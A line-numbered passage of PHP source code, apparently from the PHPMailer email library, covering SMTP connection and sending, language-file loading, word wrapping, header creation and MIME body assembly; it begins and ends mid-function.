  1787.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1788.             }
  1789.         } else {
  1790.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1791.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1792.         }
  1793.         if (isset($old_from)) {
  1794.             ini_set('sendmail_from', $old_from);
  1795.         }
  1796.         if (!$result) {
  1797.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1798.         }
  1799.         return true;
  1800.     }
  1801.  
  1802.     /**
  1803.      * Get an instance to use for SMTP operations.
  1804.      * Override this function to load your own SMTP implementation
  1805.      * @return SMTP
  1806.      */
  1807.     public function getSMTPInstance()
  1808.     {
  1809.         if (!is_object($this->smtp)) {
  1810.             $this->smtp = new SMTP;
  1811.         }
  1812.         return $this->smtp;
  1813.     }
  1814.  
  1815.     /**
  1816.      * Send mail via SMTP.
  1817.      * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1818.      * Uses the PHPMailerSMTP class by default.
  1819.      * @see PHPMailer::getSMTPInstance() to use a different class.
  1820.      * @param string $header The message headers
  1821.      * @param string $body The message body
  1822.      * @throws phpmailerException
  1823.      * @uses SMTP
  1824.      * @access protected
  1825.      * @return boolean
  1826.      */
  1827.     protected function smtpSend($header, $body)
  1828.     {
  1829.         $bad_rcpt = array();
  1830.         if (!$this->smtpConnect($this->SMTPOptions)) {
  1831.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1832.         }
  1833.         if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
  1834.             $smtp_from = $this->Sender;
  1835.         } else {
  1836.             $smtp_from = $this->From;
  1837.         }
  1838.         if (!$this->smtp->mail($smtp_from)) {
  1839.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1840.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1841.         }
  1842.  
  1843.         // Attempt to send to all recipients
  1844.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1845.             foreach ($togroup as $to) {
  1846.                 if (!$this->smtp->recipient($to[0])) {
  1847.                     $error = $this->smtp->getError();
  1848.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1849.                     $isSent = false;
  1850.                 } else {
  1851.                     $isSent = true;
  1852.                 }
  1853.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1854.             }
  1855.         }
  1856.  
  1857.         // Only send the DATA command if we have viable recipients
  1858.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1859.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1860.         }
  1861.         if ($this->SMTPKeepAlive) {
  1862.             $this->smtp->reset();
  1863.         } else {
  1864.             $this->smtp->quit();
  1865.             $this->smtp->close();
  1866.         }
  1867.         //Create error message for any bad addresses
  1868.         if (count($bad_rcpt) > 0) {
  1869.             $errstr = '';
  1870.             foreach ($bad_rcpt as $bad) {
  1871.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1872.             }
  1873.             throw new phpmailerException(
  1874.                 $this->lang('recipients_failed') . $errstr,
  1875.                 self::STOP_CONTINUE
  1876.             );
  1877.         }
  1878.         return true;
  1879.     }
  1880.  
  1881.     /**
  1882.      * Initiate a connection to an SMTP server.
  1883.      * Returns false if the operation failed.
  1884.      * @param array $options An array of options compatible with stream_context_create()
  1885.      * @uses SMTP
  1886.      * @access public
  1887.      * @throws phpmailerException
  1888.      * @return boolean
  1889.      */
  1890.     public function smtpConnect($options = null)
  1891.     {
  1892.         if (is_null($this->smtp)) {
  1893.             $this->smtp = $this->getSMTPInstance();
  1894.         }
  1895.  
  1896.         //If no options are provided, use whatever is set in the instance
  1897.         if (is_null($options)) {
  1898.             $options = $this->SMTPOptions;
  1899.         }
  1900.  
  1901.         // Already connected?
  1902.         if ($this->smtp->connected()) {
  1903.             return true;
  1904.         }
  1905.  
  1906.         $this->smtp->setTimeout($this->Timeout);
  1907.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1908.         $this->smtp->setDebugOutput($this->Debugoutput);
  1909.         $this->smtp->setVerp($this->do_verp);
  1910.         $hosts = explode(';', $this->Host);
  1911.         $lastexception = null;
  1912.  
  1913.         foreach ($hosts as $hostentry) {
  1914.             $hostinfo = array();
  1915.             if (!preg_match(
  1916.                 '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
  1917.                 trim($hostentry),
  1918.                 $hostinfo
  1919.             )) {
  1920.                 // Not a valid host entry
  1921.                 $this->edebug('Ignoring invalid host: ' . $hostentry);
  1922.                 continue;
  1923.             }
  1924.             // $hostinfo[2]: optional ssl or tls prefix
  1925.             // $hostinfo[3]: the hostname
  1926.             // $hostinfo[4]: optional port number
  1927.             // The host string prefix can temporarily override the current setting for SMTPSecure
  1928.             // If it's not specified, the default value is used
  1929.             $prefix = '';
  1930.             $secure = $this->SMTPSecure;
  1931.             $tls = ($this->SMTPSecure == 'tls');
  1932.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1933.                 $prefix = 'ssl://';
  1934.                 $tls = false; // Can't have SSL and TLS at the same time
  1935.                 $secure = 'ssl';
  1936.             } elseif ($hostinfo[2] == 'tls') {
  1937.                 $tls = true;
  1938.                 // tls doesn't use a prefix
  1939.                 $secure = 'tls';
  1940.             }
  1941.             //Do we need the OpenSSL extension?
  1942.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1943.             if ('tls' === $secure or 'ssl' === $secure) {
  1944.                 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1945.                 if (!$sslext) {
  1946.                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1947.                 }
  1948.             }
  1949.             $host = $hostinfo[3];
  1950.             $port = $this->Port;
  1951.             $tport = (integer)$hostinfo[4];
  1952.             if ($tport > 0 and $tport < 65536) {
  1953.                 $port = $tport;
  1954.             }
  1955.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1956.                 try {
  1957.                     if ($this->Helo) {
  1958.                         $hello = $this->Helo;
  1959.                     } else {
  1960.                         $hello = $this->serverHostname();
  1961.                     }
  1962.                     $this->smtp->hello($hello);
  1963.                     //Automatically enable TLS encryption if:
  1964.                     // * it's not disabled
  1965.                     // * we have openssl extension
  1966.                     // * we are not already using SSL
  1967.                     // * the server offers STARTTLS
  1968.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1969.                         $tls = true;
  1970.                     }
  1971.                     if ($tls) {
  1972.                         if (!$this->smtp->startTLS()) {
  1973.                             throw new phpmailerException($this->lang('connect_host'));
  1974.                         }
  1975.                         // We must resend EHLO after TLS negotiation
  1976.                         $this->smtp->hello($hello);
  1977.                     }
  1978.                     if ($this->SMTPAuth) {
  1979.                         if (!$this->smtp->authenticate(
  1980.                             $this->Username,
  1981.                             $this->Password,
  1982.                             $this->AuthType,
  1983.                             $this->Realm,
  1984.                             $this->Workstation
  1985.                         )
  1986.                         ) {
  1987.                             throw new phpmailerException($this->lang('authenticate'));
  1988.                         }
  1989.                     }
  1990.                     return true;
  1991.                 } catch (phpmailerException $exc) {
  1992.                     $lastexception = $exc;
  1993.                     $this->edebug($exc->getMessage());
  1994.                     // We must have connected, but then failed TLS or Auth, so close connection nicely
  1995.                     $this->smtp->quit();
  1996.                 }
  1997.             }
  1998.         }
  1999.         // If we get here, all connection attempts have failed, so close connection hard
  2000.         $this->smtp->close();
  2001.         // As we've caught all exceptions, just report whatever the last one was
  2002.         if ($this->exceptions and !is_null($lastexception)) {
  2003.             throw $lastexception;
  2004.         }
  2005.         return false;
  2006.     }
  2007.  
  2008.     /**
  2009.      * Close the active SMTP session if one exists.
  2010.      * @return void
  2011.      */
  2012.     public function smtpClose()
  2013.     {
  2014.         if (is_a($this->smtp, 'SMTP')) {
  2015.             if ($this->smtp->connected()) {
  2016.                 $this->smtp->quit();
  2017.                 $this->smtp->close();
  2018.             }
  2019.         }
  2020.     }
  2021.  
  2022.     /**
  2023.      * Set the language for error messages.
  2024.      * Returns false if it cannot load the language file.
  2025.      * The default language is English.
  2026.      * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  2027.      * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  2028.      * @return boolean
  2029.      * @access public
  2030.      */
  2031.     public function setLanguage($langcode = 'en', $lang_path = '')
  2032.     {
  2033.         // Backwards compatibility for renamed language codes
  2034.         $renamed_langcodes = array(
  2035.             'br' => 'pt_br',
  2036.             'cz' => 'cs',
  2037.             'dk' => 'da',
  2038.             'no' => 'nb',
  2039.             'se' => 'sv',
  2040.             'sr' => 'rs'
  2041.         );
  2042.  
  2043.         if (isset($renamed_langcodes[$langcode])) {
  2044.             $langcode = $renamed_langcodes[$langcode];
  2045.         }
  2046.  
  2047.         // Define full set of translatable strings in English
  2048.         $PHPMAILER_LANG = array(
  2049.             'authenticate' => 'SMTP Error: Could not authenticate.',
  2050.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  2051.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  2052.             'empty_message' => 'Message body empty',
  2053.             'encoding' => 'Unknown encoding: ',
  2054.             'execute' => 'Could not execute: ',
  2055.             'file_access' => 'Could not access file: ',
  2056.             'file_open' => 'File Error: Could not open file: ',
  2057.             'from_failed' => 'The following From address failed: ',
  2058.             'instantiate' => 'Could not instantiate mail function.',
  2059.             'invalid_address' => 'Invalid address: ',
  2060.             'mailer_not_supported' => ' mailer is not supported.',
  2061.             'provide_address' => 'You must provide at least one recipient email address.',
  2062.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  2063.             'signing' => 'Signing Error: ',
  2064.             'smtp_connect_failed' => 'SMTP connect() failed.',
  2065.             'smtp_error' => 'SMTP server error: ',
  2066.             'variable_set' => 'Cannot set or reset variable: ',
  2067.             'extension_missing' => 'Extension missing: '
  2068.         );
  2069.         if (empty($lang_path)) {
  2070.             // Calculate an absolute path so it can work if CWD is not here
  2071.             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  2072.         }
  2073.         //Validate $langcode
  2074.         if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
  2075.             $langcode = 'en';
  2076.         }
  2077.         $foundlang = true;
  2078.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  2079.         // There is no English translation file
  2080.         if ($langcode != 'en') {
  2081.             // Make sure language file path is readable
  2082.             if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
  2083.                 $foundlang = false;
  2084.             } else {
  2085.                 // Overwrite language-specific strings.
  2086.                 // This way we'll never have missing translation keys.
  2087.                 $foundlang = include $lang_file;
  2088.             }
  2089.         }
  2090.         $this->language = $PHPMAILER_LANG;
  2091.         return (boolean)$foundlang; // Returns false if language not found
  2092.     }
  2093.  
  2094.     /**
  2095.      * Get the array of strings for the current language.
  2096.      * @return array
  2097.      */
  2098.     public function getTranslations()
  2099.     {
  2100.         return $this->language;
  2101.     }
  2102.  
  2103.     /**
  2104.      * Create recipient headers.
  2105.      * @access public
  2106.      * @param string $type
  2107.      * @param array $addr An array of recipient,
  2108.      * where each recipient is a 2-element indexed array with element 0 containing an address
  2109.      * and element 1 containing a name, like:
  2110.      * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  2111.      * @return string
  2112.      */
  2113.     public function addrAppend($type, $addr)
  2114.     {
  2115.         $addresses = array();
  2116.         foreach ($addr as $address) {
  2117.             $addresses[] = $this->addrFormat($address);
  2118.         }
  2119.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  2120.     }
  2121.  
  2122.     /**
  2123.      * Format an address for use in a message header.
  2124.      * @access public
  2125.      * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  2126.      *      like array('joe@example.com', 'Joe User')
  2127.      * @return string
  2128.      */
  2129.     public function addrFormat($addr)
  2130.     {
  2131.         if (empty($addr[1])) { // No name provided
  2132.             return $this->secureHeader($addr[0]);
  2133.         } else {
  2134.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  2135.                 $addr[0]
  2136.             ) . '>';
  2137.         }
  2138.     }
  2139.  
  2140.     /**
  2141.      * Word-wrap message.
  2142.      * For use with mailers that do not automatically perform wrapping
  2143.      * and for quoted-printable encoded messages.
  2144.      * Original written by philippe.
  2145.      * @param string $message The message to wrap
  2146.      * @param integer $length The line length to wrap to
  2147.      * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  2148.      * @access public
  2149.      * @return string
  2150.      */
  2151.     public function wrapText($message, $length, $qp_mode = false)
  2152.     {
  2153.         if ($qp_mode) {
  2154.             $soft_break = sprintf(' =%s', $this->LE);
  2155.         } else {
  2156.             $soft_break = $this->LE;
  2157.         }
  2158.         // If utf-8 encoding is used, we will need to make sure we don't
  2159.         // split multibyte characters when we wrap
  2160.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  2161.         $lelen = strlen($this->LE);
  2162.         $crlflen = strlen(self::CRLF);
  2163.  
  2164.         $message = $this->fixEOL($message);
  2165.         //Remove a trailing line break
  2166.         if (substr($message, -$lelen) == $this->LE) {
  2167.             $message = substr($message, 0, -$lelen);
  2168.         }
  2169.  
  2170.         //Split message into lines
  2171.         $lines = explode($this->LE, $message);
  2172.         //Message will be rebuilt in here
  2173.         $message = '';
  2174.         foreach ($lines as $line) {
  2175.             $words = explode(' ', $line);
  2176.             $buf = '';
  2177.             $firstword = true;
  2178.             foreach ($words as $word) {
  2179.                 if ($qp_mode and (strlen($word) > $length)) {
  2180.                     $space_left = $length - strlen($buf) - $crlflen;
  2181.                     if (!$firstword) {
  2182.                         if ($space_left > 20) {
  2183.                             $len = $space_left;
  2184.                             if ($is_utf8) {
  2185.                                 $len = $this->utf8CharBoundary($word, $len);
  2186.                             } elseif (substr($word, $len - 1, 1) == '=') {
  2187.                                 $len--;
  2188.                             } elseif (substr($word, $len - 2, 1) == '=') {
  2189.                                 $len -= 2;
  2190.                             }
  2191.                             $part = substr($word, 0, $len);
  2192.                             $word = substr($word, $len);
  2193.                             $buf .= ' ' . $part;
  2194.                             $message .= $buf . sprintf('=%s', self::CRLF);
  2195.                         } else {
  2196.                             $message .= $buf . $soft_break;
  2197.                         }
  2198.                         $buf = '';
  2199.                     }
  2200.                     while (strlen($word) > 0) {
  2201.                         if ($length <= 0) {
  2202.                             break;
  2203.                         }
  2204.                         $len = $length;
  2205.                         if ($is_utf8) {
  2206.                             $len = $this->utf8CharBoundary($word, $len);
  2207.                         } elseif (substr($word, $len - 1, 1) == '=') {
  2208.                             $len--;
  2209.                         } elseif (substr($word, $len - 2, 1) == '=') {
  2210.                             $len -= 2;
  2211.                         }
  2212.                         $part = substr($word, 0, $len);
  2213.                         $word = substr($word, $len);
  2214.  
  2215.                         if (strlen($word) > 0) {
  2216.                             $message .= $part . sprintf('=%s', self::CRLF);
  2217.                         } else {
  2218.                             $buf = $part;
  2219.                         }
  2220.                     }
  2221.                 } else {
  2222.                     $buf_o = $buf;
  2223.                     if (!$firstword) {
  2224.                         $buf .= ' ';
  2225.                     }
  2226.                     $buf .= $word;
  2227.  
  2228.                     if (strlen($buf) > $length and $buf_o != '') {
  2229.                         $message .= $buf_o . $soft_break;
  2230.                         $buf = $word;
  2231.                     }
  2232.                 }
  2233.                 $firstword = false;
  2234.             }
  2235.             $message .= $buf . self::CRLF;
  2236.         }
  2237.  
  2238.         return $message;
  2239.     }
  2240.  
  2241.     /**
  2242.      * Find the last character boundary prior to $maxLength in a utf-8
  2243.      * quoted-printable encoded string.
  2244.      * Original written by Colin Brown.
  2245.      * @access public
  2246.      * @param string $encodedText utf-8 QP text
  2247.      * @param integer $maxLength Find the last character boundary prior to this length
  2248.      * @return integer
  2249.      */
  2250.     public function utf8CharBoundary($encodedText, $maxLength)
  2251.     {
  2252.         $foundSplitPos = false;
  2253.         $lookBack = 3;
  2254.         while (!$foundSplitPos) {
  2255.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2256.             $encodedCharPos = strpos($lastChunk, '=');
  2257.             if (false !== $encodedCharPos) {
  2258.                 // Found start of encoded character byte within $lookBack block.
  2259.                 // Check the encoded byte value (the 2 chars after the '=')
  2260.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2261.                 $dec = hexdec($hex);
  2262.                 if ($dec < 128) {
  2263.                     // Single byte character.
  2264.                     // If the encoded char was found at pos 0, it will fit
  2265.                     // otherwise reduce maxLength to start of the encoded char
  2266.                     if ($encodedCharPos > 0) {
  2267.                         $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2268.                     }
  2269.                     $foundSplitPos = true;
  2270.                 } elseif ($dec >= 192) {
  2271.                     // First byte of a multi byte character
  2272.                     // Reduce maxLength to split at start of character
  2273.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2274.                     $foundSplitPos = true;
  2275.                 } elseif ($dec < 192) {
  2276.                     // Middle byte of a multi byte character, look further back
  2277.                     $lookBack += 3;
  2278.                 }
  2279.             } else {
  2280.                 // No encoded character found
  2281.                 $foundSplitPos = true;
  2282.             }
  2283.         }
  2284.         return $maxLength;
  2285.     }
  2286.  
  2287.     /**
  2288.      * Apply word wrapping to the message body.
  2289.      * Wraps the message body to the number of chars set in the WordWrap property.
  2290.      * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  2291.      * This is called automatically by createBody(), so you don't need to call it yourself.
  2292.      * @access public
  2293.      * @return void
  2294.      */
  2295.     public function setWordWrap()
  2296.     {
  2297.         if ($this->WordWrap < 1) {
  2298.             return;
  2299.         }
  2300.  
  2301.         switch ($this->message_type) {
  2302.             case 'alt':
  2303.             case 'alt_inline':
  2304.             case 'alt_attach':
  2305.             case 'alt_inline_attach':
  2306.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  2307.                 break;
  2308.             default:
  2309.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  2310.                 break;
  2311.         }
  2312.     }
  2313.  
  2314.     /**
  2315.      * Assemble message headers.
  2316.      * @access public
  2317.      * @return string The assembled headers
  2318.      */
  2319.     public function createHeader()
  2320.     {
  2321.         $result = '';
  2322.  
  2323.         $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);
  2324.  
  2325.         // To be created automatically by mail()
  2326.         if ($this->SingleTo) {
  2327.             if ($this->Mailer != 'mail') {
  2328.                 foreach ($this->to as $toaddr) {
  2329.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  2330.                 }
  2331.             }
  2332.         } else {
  2333.             if (count($this->to) > 0) {
  2334.                 if ($this->Mailer != 'mail') {
  2335.                     $result .= $this->addrAppend('To', $this->to);
  2336.                 }
  2337.             } elseif (count($this->cc) == 0) {
  2338.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2339.             }
  2340.         }
  2341.  
  2342.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2343.  
  2344.         // sendmail and mail() extract Cc from the header before sending
  2345.         if (count($this->cc) > 0) {
  2346.             $result .= $this->addrAppend('Cc', $this->cc);
  2347.         }
  2348.  
  2349.         // sendmail and mail() extract Bcc from the header before sending
  2350.         if ((
  2351.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2352.             )
  2353.             and count($this->bcc) > 0
  2354.         ) {
  2355.             $result .= $this->addrAppend('Bcc', $this->bcc);
  2356.         }
  2357.  
  2358.         if (count($this->ReplyTo) > 0) {
  2359.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2360.         }
  2361.  
  2362.         // mail() sets the subject itself
  2363.         if ($this->Mailer != 'mail') {
  2364.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2365.         }
  2366.  
  2367.         // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
  2368.         // https://tools.ietf.org/html/rfc5322#section-3.6.4
  2369.         if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
  2370.             $this->lastMessageID = $this->MessageID;
  2371.         } else {
  2372.             $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2373.         }
  2374.         $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2375.         if (!is_null($this->Priority)) {
  2376.             $result .= $this->headerLine('X-Priority', $this->Priority);
  2377.         }
  2378.         if ($this->XMailer == '') {
  2379.             $result .= $this->headerLine(
  2380.                 'X-Mailer',
  2381.                 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
  2382.             );
  2383.         } else {
  2384.             $myXmailer = trim($this->XMailer);
  2385.             if ($myXmailer) {
  2386.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  2387.             }
  2388.         }
  2389.  
  2390.         if ($this->ConfirmReadingTo != '') {
  2391.             $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2392.         }
  2393.  
  2394.         // Add custom headers
  2395.         foreach ($this->CustomHeader as $header) {
  2396.             $result .= $this->headerLine(
  2397.                 trim($header[0]),
  2398.                 $this->encodeHeader(trim($header[1]))
  2399.             );
  2400.         }
  2401.         if (!$this->sign_key_file) {
  2402.             $result .= $this->headerLine('MIME-Version', '1.0');
  2403.             $result .= $this->getMailMIME();
  2404.         }
  2405.  
  2406.         return $result;
  2407.     }
  2408.  
  2409.     /**
  2410.      * Get the message MIME type headers.
  2411.      * @access public
  2412.      * @return string
  2413.      */
  2414.     public function getMailMIME()
  2415.     {
  2416.         $result = '';
  2417.         $ismultipart = true;
  2418.         switch ($this->message_type) {
  2419.             case 'inline':
  2420.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2421.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2422.                 break;
  2423.             case 'attach':
  2424.             case 'inline_attach':
  2425.             case 'alt_attach':
  2426.             case 'alt_inline_attach':
  2427.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2428.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2429.                 break;
  2430.             case 'alt':
  2431.             case 'alt_inline':
  2432.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2433.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2434.                 break;
  2435.             default:
  2436.                 // Catches case 'plain': and case '':
  2437.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2438.                 $ismultipart = false;
  2439.                 break;
  2440.         }
  2441.         // RFC1341 part 5 says 7bit is assumed if not specified
  2442.         if ($this->Encoding != '7bit') {
  2443.             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2444.             if ($ismultipart) {
  2445.                 if ($this->Encoding == '8bit') {
  2446.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2447.                 }
  2448.                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2449.             } else {
  2450.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2451.             }
  2452.         }
  2453.  
  2454.         if ($this->Mailer != 'mail') {
  2455.             $result .= $this->LE;
  2456.         }
  2457.  
  2458.         return $result;
  2459.     }
  2460.  
  2461.     /**
  2462.      * Returns the whole MIME message.
  2463.      * Includes complete headers and body.
  2464.      * Only valid post preSend().
  2465.      * @see PHPMailer::preSend()
  2466.      * @access public
  2467.      * @return string
  2468.      */
  2469.     public function getSentMIMEMessage()
  2470.     {
  2471.         return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
  2472.     }
  2473.  
  2474.     /**
  2475.      * Create unique ID
  2476.      * @return string
  2477.      */
  2478.     protected function generateId() {
  2479.         return md5(uniqid(time()));
  2480.     }
  2481.  
  2482.     /**
  2483.      * Assemble the message body.
  2484.      * Returns an empty string on failure.
  2485.      * @access public
  2486.      * @throws phpmailerException
  2487.      * @return string The assembled message body
  2488.      */
  2489.     public function createBody()
  2490.     {
  2491.         $body = '';
  2492.         //Create unique IDs and preset boundaries
  2493.         $this->uniqueid = $this->generateId();
  2494.         $this->boundary[1] = 'b1_' . $this->uniqueid;
  2495.         $this->boundary[2] = 'b2_' . $this->uniqueid;
  2496.         $this->boundary[3] = 'b3_' . $this->uniqueid;
  2497.  
  2498.         if ($this->sign_key_file) {
  2499.             $body .= $this->getMailMIME() . $this->LE;
  2500.         }
  2501.  
  2502.         $this->setWordWrap();
  2503.  
  2504.         $bodyEncoding = $this->Encoding;
  2505.         $bodyCharSet = $this->CharSet;
  2506.         //Can we do a 7-bit downgrade?
  2507.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2508.             $bodyEncoding = '7bit';
  2509.             //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
  2510.             $bodyCharSet = 'us-ascii';
  2511.         }
  2512.         //If lines are too long, and we're not already using an encoding that will shorten them,
  2513.         //change to quoted-printable transfer encoding for the body part only
  2514.         if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2515.             $bodyEncoding = 'quoted-printable';
  2516.         }
  2517.  
  2518.         $altBodyEncoding = $this->Encoding;
  2519.         $altBodyCharSet = $this->CharSet;
  2520.         //Can we do a 7-bit downgrade?
  2521.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2522.             $altBodyEncoding = '7bit';
  2523.             //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
  2524.             $altBodyCharSet = 'us-ascii';
  2525.         }
  2526.         //If lines are too long, and we're not already using an encoding that will shorten them,
  2527.         //change to quoted-printable transfer encoding for the alt body part only
  2528.         if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2529.             $altBodyEncoding = 'quoted-printable';
  2530.         }
  2531.         //Use this as a preamble in all multipart message types
  2532.         $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2533.         switch ($this->message_type) {
  2534.             case 'inline':
  2535.                 $body .= $mimepre;
  2536.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2537.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2538.                 $body .= $this->LE . $this->LE;
  2539.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  2540.                 break;
  2541.             case 'attach':
  2542.                 $body .= $mimepre;
  2543.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2544.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2545.                 $body .= $this->LE . $this->LE;
  2546.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2547.                 break;
  2548.             case 'inline_attach':
  2549.                 $body .= $mimepre;
  2550.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2551.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2552.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2553.                 $body .= $this->LE;
  2554.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2555.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2556.                 $body .= $this->LE . $this->LE;
  2557.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  2558.                 $body .= $this->LE;
  2559.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2560.                 break;
  2561.             case 'alt':
  2562.                 $body .= $mimepre;
  2563.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2564.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2565.                 $body .= $this->LE . $this->LE;
  2566.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2567.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2568.                 $body .= $this->LE . $this->LE;
  2569.                 if (!empty($this->Ical)) {
  2570.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2571.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  2572.                     $body .= $this->LE . $this->LE;
  2573.                 }
  2574.                 $body .= $this->endBoundary($this->boundary[1]);
  2575.                 break;
  2576.             case 'alt_inline':
  2577.                 $body .= $mimepre;
  2578.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2579.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2580.                 $body .= $this->LE . $this->LE;
  2581.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2582.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2583.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2584.                 $body .= $this->LE;
  2585.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2586.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2587.                 $body .= $this->LE . $this->LE;
  2588.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  2589.                 $body .= $this->LE;
  2590.                 $body .= $this->endBoundary($this->boundary[1]);
  2591.                 break;
  2592.             case 'alt_attach':
  2593.                 $body .= $mimepre;
